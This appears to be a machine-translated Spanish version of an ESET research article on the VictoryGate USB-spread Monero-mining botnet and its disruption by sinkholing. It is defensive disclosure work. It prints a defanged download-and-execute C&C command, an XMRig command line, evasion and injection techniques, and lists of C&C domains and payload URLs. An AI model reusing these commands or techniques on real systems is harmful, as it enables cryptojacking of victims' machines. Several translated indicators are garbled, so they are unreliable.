Tras el descubrimiento de ESET, se interrumpe una botnet minera Monero


Los investigadores de ESET descubren y juegan un papel clave en la interrupción de una botnet de 35,000 dispositivos que se está extendiendo en América Latina a través de unidades USB infectadas

Los investigadores de ESET descubrieron recientemente una red de bots previamente indocumentada que hemos denominado VictoryGate. Ha estado activo desde al menos mayo de 2019 y, desde entonces, se han identificado tres variantes diferentes del módulo inicial, además de aproximadamente 10 cargas útiles secundarias que se descargan de los sitios web de alojamiento de archivos. Los productos de seguridad de ESET detectan el módulo inicial como MSIL / VictoryGate.

Esta botnet está compuesta principalmente por dispositivos en América Latina, específicamente en Perú, donde se encuentran más del 90% de los dispositivos comprometidos. Hemos estado sumiendo activamente varios dominios de comando y control (C&C), lo que nos permite monitorear la actividad de esta botnet. La combinación de los datos del sumidero y nuestros datos de telemetría nos permite estimar el tamaño de la botnet en al menos 35,000 dispositivos.

Para controlar su botnet, VictoryGate utilizó solo subdominios registrados en el proveedor de DNS dinámico No-IP. ESET reportó los subdominios maliciosos a No-IP, quien rápidamente los eliminó a todos, eliminando efectivamente el control de los bots del atacante. Además, ESET está colaborando con la Fundación Shadowserver sin fines de lucro al compartir registros de sumideros en un esfuerzo por remediar aún más esta amenaza.

En la Figura 1, puede ver el número máximo de direcciones IP únicas que se conectan a los C&C por día.

Figura 1. Conexiones a los C&C

La actividad principal de la botnet fue Minería Monero. Sin embargo, dado que el botmaster pudo emitir comandos a los nodos para descargar y ejecutar nuevas cargas útiles secundarias en cualquier momento dado, esto podría haber cambiado en algún momento. Esto plantea un riesgo considerable, dado que hemos identificado un tráfico de red comprometido que proviene del sector público y de organizaciones del sector privado, incluidas las instituciones financieras.

Los impactos en el dispositivo de la víctima son:

  • Muy alto uso de recursos. En todas las cargas útiles que analizamos, el código malicioso utiliza todos los subprocesos disponibles para realizar criptominería, lo que resulta en una carga sostenida de CPU del 90-99%. Esto ralentiza el dispositivo, provoca sobrecalentamiento y posiblemente incluso daños.
  • Los archivos contenidos en unidades USB están ocultos cuando se conectan a una máquina infectada. Esto es parte del mecanismo de propagación que discutiremos en breve.

Cubriremos algunos de los aspectos técnicos de esta amenaza en esta publicación.

¿Qué es VictoryGate?

Este es el nombre que le hemos dado al módulo inicial que recibe y ejecuta comandos del servidor C&C. También implementa el mecanismo de propagación y establece la persistencia en los dispositivos de las víctimas.

Propagación

El único vector de propagación que hemos podido confirmar es a través de dispositivos extraíbles. La víctima recibe una unidad USB que en algún momento se conectó a una máquina infectada. Aparentemente tiene todos los archivos con los mismos nombres e íconos que contenía originalmente. Debido a esto, el contenido se verá casi idéntico a primera vista, como se ve en el ejemplo de la Figura 2. Sin embargo, los archivos originales se han copiado en un directorio oculto en la raíz de la unidad y los ejecutables de Windows se han proporcionado como homónimos aparentes. .

Figura 2. Comparación de un disco antes y después del compromiso con las opciones predeterminadas de Explorer

De hecho, estos ejecutables son scripts de AutoIt que VictoryGate compila sobre la marcha, utilizando la plantilla de la Figura 3. Vale la pena señalar que el proceso de compilación también agregará metadatos aleatorios a cada archivo, por lo que dos scripts compilados probablemente nunca tener el mismo hash.

Figura 3. La plantilla utilizada por VictoryGate para compilar los scripts de propagación

Cuando un usuario desprevenido "abre" (es decir, ejecuta) uno de estos archivos, el script AutoIt abrirá tanto el archivo que estaba destinado, además del módulo inicial (ver Figura 4), ambos ocultos por VictoryGate en un directorio oculto como se mencionó encima.

Figura 4. Script de propagación que muestra el lanzamiento de un archivo normal junto con la ejecución del módulo malicioso

Una vez que se ejecuta el módulo inicial, creará una copia de sí mismo en %Datos de aplicación% (con un nombre más bonito como ctfmon2.exe) y un acceso directo en la carpeta de inicio que apunta a esta copia, como un mecanismo simple para ganar persistencia en el arranque del sistema.

Este módulo es un ensamblado .NET de aproximadamente 200 MB que contiene una gran matriz con bytes basura. Esto probablemente se haga para evitar el escaneo de algunos productos de seguridad que tienen un tamaño de archivo u otros límites de consumo de recursos. La matriz también contiene una DLL comprimida con XORed y gzip que, en tiempo de ejecución, se descifra y se carga con una llamada de enlace tardío utilizando la API .NET Reflection.

La propia DLL contiene un script compilado con AutoIt compilado como el que se ve en la Figura 3, así como los métodos necesarios para inyectarlo en algún proceso legítimo de Windows. Hemos visto vbc.exe (Compilador de Visual Basic) o csc.exe (Compilador de Visual C #) como objetivo.

La inyección se realiza creando una instancia de vbc.exe procesar en un estado suspendido, desasignar sus secciones de memoria y luego cargar el ejecutable desde la memoria. Como se puede ver en la Figura 5, VictoryGate utilizará varias funciones NTAPI no documentadas como NtWriteVirtualMemory, en lugar de utilizar la función API más común WriteProcessMemory, para evitar la detección básica de enganche de API.

Figura 5. vbc.exe proceso de inyección realizado por VictoryGate

El agente AutoIt inyectado es responsable de la comunicación con el servidor C&C, la descarga y la ejecución de las cargas secundarias, y también escaneará constantemente para detectar si se ha conectado una nueva unidad USB y, de ser así, reemplazará los archivos que contiene con propagación guiones y ocultar los archivos originales.

Comunicación con servidores C&C

Como se mencionó anteriormente, el botmaster tenía la capacidad de enviar comandos a los nodos para agregar nuevas cargas secundarias. Estos comandos se emitieron utilizando un protocolo personalizado y puertos poco comunes como texto sin formato. Se admitieron los siguientes comandos:

Mando Descripción
! El C&C le dice al nodo que descargue un archivo de una URL dada y luego lo ejecute. El nodo también usará el prefijo para notificar a los C&C que la tarea se ha completado sin errores.
~ El nodo usa este prefijo para notificar a los C&C que ha habido un error al realizar la tarea.
El nodo utiliza este prefijo durante el primer mensaje al C&C, donde envía información sobre el sistema, como nombre de usuario, nombre de host, producto antimalware instalado, versión de AutoIt, etc. Después de eso, se utiliza como Keep-Alive entre el servidor y cliente.
_ _ El nodo notifica a los C&C que la ruta de ejecución actual es diferente a la esperada. Esto también activará el mismo mecanismo que se utiliza cuando el archivo se ejecuta desde la unidad USB: se copiará en %Datos de aplicación%.

Aquí hay un ejemplo defanged de un comando de descarga y ejecución:

! | N-I-C-H-O-L-A-S |! | N-I-C-H-O-L-A-S | PuQPQOZOy.exe | N-I-C-H-O-L-A-S | http: // gulfup (.) Me / i / 00711 / 2czcy5xvh7br.jpeg (N-E

donde la URL es la carga útil para descargar a %temperatura% directorio y PuQPQOZOy.exe es un nombre generado aleatoriamente que se asignará al archivo una vez que se descargue.

Cargas útiles descargadas

Las cargas útiles descargadas también suelen ser scripts compilados con AutoIt. El compilador AutoIt tiene la capacidad de agrupar binarios con el script, en un archivo independiente. Estos archivos binarios pueden ser ejecutados por el script usando el AutoIt ShellExecute funcionan cuando se ejecuta el ejecutable compilado. Cuando se ejecuta, este archivo creará primero una tarea programada y otro acceso directo en la carpeta de inicio para ganar persistencia para este nuevo binario. La ejecución de la carga descargada en la mayoría de las muestras analizadas es la siguiente:

Figura 6. Flujo de trabajo de la carga útil descargada

Una vez más, esta carga intentará inyectar código en un proceso legítimo de Windows; esta vez inyectará el software de minería XMRig en el ucsvc.exe (Utilidad de mantenimiento de archivos de arranque) proceso.

Una vez ejecutado, tpmvscugr.exe primero descifrará una matriz cifrada con Rijndael, que es un binario empaquetado que llamamos gate.exe – sus métodos se invocan utilizando la API .NET Reflection como se vio en la etapa anterior.

Este binario empaquetado no tiene el código necesario para realizar la inyección; más bien, el último fragmento de código requerido para inyectar el ucsvc.exe El proceso es un archivo DLL descargado de C&C que primero se almacena en una clave de registro (consulte la Figura 7) y luego se carga en el tpmvscugr.exe memoria de proceso durante el tiempo de ejecución.

Figura 7. Clave de registro que contiene auto.dll

Esta DLL (auto.dll) se envía a través del tráfico de red mediante compresión gzip y cifrado AES. La clave para descifrarlo debe recuperarse de la comunicación entre los C&C y el nodo. Luego se carga durante la ejecución realizando una llamada tardía. Contiene algunos típicos RunPE funciones que permiten gate.exe para realizar la inyección.

Minería Monero

Una vez el ucsvc.exe el proceso se inyecta con el minero XMRig, los C&C comenzarán la extracción en el nodo al pasar un comando como el siguiente:

C: Windows system32 ucsvc.exe -algo cryptonight -url : 19019 –user CPU_x64 –pass x –retries = 50 –retry-pause = 1 –keepalive –donate-level = 1 –nicehash

La dirección IP que se ve en el comando en realidad no es un grupo de minería, sino un proxy de estrato, o XMRig Proxy. Además, para ocultar el uso de la CPU al usuario, el proceso de minería finalizará si el usuario abre el Administrador de tareas; la minería se reanudará tan pronto como se cierre TM. Esta técnica se ha visto en muchas otras amenazas de este tipo.

A partir de los datos recopilados durante nuestras actividades de inmersión podemos determinar que, en promedio, se extraen 2.000 dispositivos durante todo el día. Si estimamos un hashrate promedio de 150H / s, podríamos decir que los autores de esta campaña han recolectado al menos 80 Monero (aproximadamente US $ 6000) solo de esta botnet.

Conclusión

VictoryGate es una nueva botnet que utiliza unidades USB para propagarse, una técnica que hemos visto repetidamente a lo largo de los años en América Latina. El uso de AutoIt y XMRig para desarrollar malware de criptominería también es una tendencia que ha experimentado un aumento reciente.

Una de las características interesantes de VictoryGate es que muestra un mayor esfuerzo para evitar la detección que las campañas similares anteriores en la región. Sin embargo, el factor más interesante de esta investigación ha sido nuestra capacidad de registrar nombres de dominio no utilizados codificados en las muestras de malware, lo que nos permite hundir una parte importante de la infraestructura de C&C y compartir los datos recopilados con Shadowserver para remediar este ataque. No-IP también fue útil para eliminar los nombres de dominio principales utilizados por la botnet, que interrumpió al menos una parte de la botnet.

A pesar de nuestros esfuerzos, las unidades USB infectadas continuarán circulando y aún se producirán nuevas infecciones. La principal diferencia es que los bots ya no recibirán comandos de los C&C. Esto evitará que las nuevas víctimas descarguen cargas secundarias de Internet. Sin embargo, las PC que se infectaron antes de la interrupción pueden continuar realizando cryptomining en nombre del botmaster. Proporcionamos una herramienta gratuita para limpiar su PC si cree que se ha visto comprometida por este malware: puede usar ESET Online Scanner para eliminar efectivamente esta amenaza.

Indicadores de compromiso (COI)

Muestras

Nombre de detección de ESET Picadillo
MSIL / VictoryGate.A 398C99FD804043863959CC34C68B0305B1131388
MSIL / VictoryGate.A a187d8be61b7ad6c328f3ee9ac66f3d2f4b48c6b
MSIL / VictoryGate.B 483a55389702cdc83223c563efb9151a704a973e
MSIL / VictoryGate.C 686eef924e6b7aadb5bcff1045b25163501670e6

Sistema de archivos

% ProgramData% JcmewjJky jcmewjjky.ico
% ProgramData% JcmewjJky jcmewjjky.exe
% ProgramData% JcmewjJky jcmewjjky.au3
% AppData% Microsoft Windows Menú Inicio Programas Inicio ctfmon.url.lnk
% AppData% Microsoft Windows Menú Inicio Programas Inicio tpmvsucgr.url
% AppData% tpmvscugr.exe
% AppData% ctfmon2.exe
HKCU / Software / JcMewjJKy
HKLM / Software / Microsoft / Windows NT / CurrentVersion / Schedule / TaskCache / Tree / rwIAMblfuvoss
HKCU / Software / Victoria

Dominios C&C

* Dominios enredados.

scitie.ddns (.) net
ddw.ddns (.) net
c0d3.ddns (.) net
volvo.ddns (.) net
xcod.ddns (.) net
mrxud.ddns (.) net
d001.ddns (.) neto
xkm.ddns (.) neto
luio.ddns (.) net
xcud.ddns (.) net
aut2scr.ddns (.) net
fanbmypersondrive (.) icu
mydrivepersonpdvsa (.) icu
mydrivepersonfanb (.) icu
mycountermppd (.) xyz
calypsoempire.ddns (.) net
mgud2xd.ddns (.) net
aut0hk.ddns (.) net
xcud.zapto (.) org
contador-vida (.) icu
revisión de shittybooks (.)
hakerz123.ddns (.) net
jcmewjjkyc0d3.ddns (.) net *
urtyerc0d3.ddns (.) net *
MoOHyAYeuaut2scr.ddns (.) Net *
pNUMWWDLjPmzg.ddns (.) net *
gJyapcAGoc0d3.ddns (.) net *
OHOFqlXNJluio.ddns (.) Net *

URL de carga útil

golfo (.) yo / i / 00711 / 2czcy5xvh7br.jpeg
golfo (.) yo / i / 00711 / a8nr26g1zcot.jpeg
golfo (.) yo / i / 00711 / 6400e1i9fsj6.jpeg
golfo (.) yo / i / 00711 / pwgzuq5902m2.jpeg
golfo (.) yo / i / 00711 / lhm3w37zuiwy.jpeg
golfo (.) yo / i / 00711 / 3mwdm6tbgcq6.jpeg
golfo (.) me / i / 00712 / sy8rtcxlh1pu.jpeg
golfo (.) yo / i / 00712 / o56zgjhefny0.jpeg
b.top4top (.) io / p_152411ncc1.jpeg
pastebin (.) com / raw / fEAuhPYh

Técnicas MITRE ATT y CK

Táctica CARNÉ DE IDENTIDAD Nombre Descripción
Acceso inicial T1091 Replicación a través de medios extraíbles Compila los scripts de AutoIt que reemplazan los archivos originales en la unidad USB.
Ejecución T1064 Scripting Utiliza scripts de AutoIt y VBS en varias etapas del malware.
T1129 Ejecución a través de carga de módulo Carga y ejecuta binarios durante la ejecución.
T1085 Rundll32 Usos rundll32.exe a través de la función AutoIt INETGET para descargar cargas útiles.
T1106 Ejecución a través de API Utiliza llamadas API como CreateProcessA, WriteProcessMemory para ejecutar binarios.
T1053 Tarea programada Crea una tarea programada para garantizar que el minero se ejecutará cada minuto.
Persistencia T1158 Archivos y directorios ocultos Crea directorios ocultos para ocultar la carga útil y los archivos de propagación.
T1060 Claves de ejecución del registro / Carpeta de inicio Crea un archivo con extensión LNK (acceso directo) en la carpeta de inicio de Windows.
T1053 Tarea programada Crea una tarea programada para garantizar que el minero se ejecutará cada minuto.
Escalada de privilegios T1055 Inyección de proceso Obtiene privilegios al inyectarse en procesos legítimos de Windows.
Evasión de defensa T1140 Desobuscar / decodificar archivos o información Utiliza codificación base64 y otras técnicas de ofuscación en varios iplaces.
T1222 Modificación de permisos de archivos y directorios Establece atributos + RHS en archivos y sirenas.
T1009 Relleno Binario Utiliza relleno binario para crear scripts de propagación que tienen diferentes hashes.
T1107 Eliminación de archivos Archivos descargados en el %temperatura% directorio se eliminan más tarde.
T1093 Proceso de vaciado Los procesos legítimos de Windows se ahuecan y luego se inyectan.
T1045 Embalaje de software Muchos archivos contienen binarios empaquetados que utilizan técnicas personalizadas.
Movimiento lateral T1091 Replicación a través de medios extraíbles La carga útil inicial se copia en un directorio oculto en una unidad extraíble.
Colección T1005 Datos del sistema local Parte de la información sobre el dispositivo host se extrae, incluido el nombre de usuario, el nombre de host, la solución antimalware y otros.
Descubrimiento T1063 Descubrimiento de software de seguridad Realiza consultas WMI para descubrir el software de seguridad instalado en la máquina.
T1057 Descubrimiento de procesos Intenta determinar si el proceso del administrador de tareas está abierto para suspender las actividades mineras.
Comando y control T1094 Comando personalizado y protocolo de control C&C utiliza dos protocolos no estándar.
T1065 Puerto poco utilizado C&C utiliza puertos poco comunes como 3,030, 6,060 y 19,019.
T1008 Canales de reserva Utiliza nombres de dominio de respaldo.
T1102 Servicio web Utiliza Pastebin para recuperar la IP de C&C incluso si falla la resolución de DNS.
Impacto T1496 Secuestro de recursos El hardware de la víctima se usa para extraer criptomonedas.
T1492 Manipulación de datos almacenados Los archivos almacenados en unidades USB están ocultos para el usuario.








Enlace a la noticia original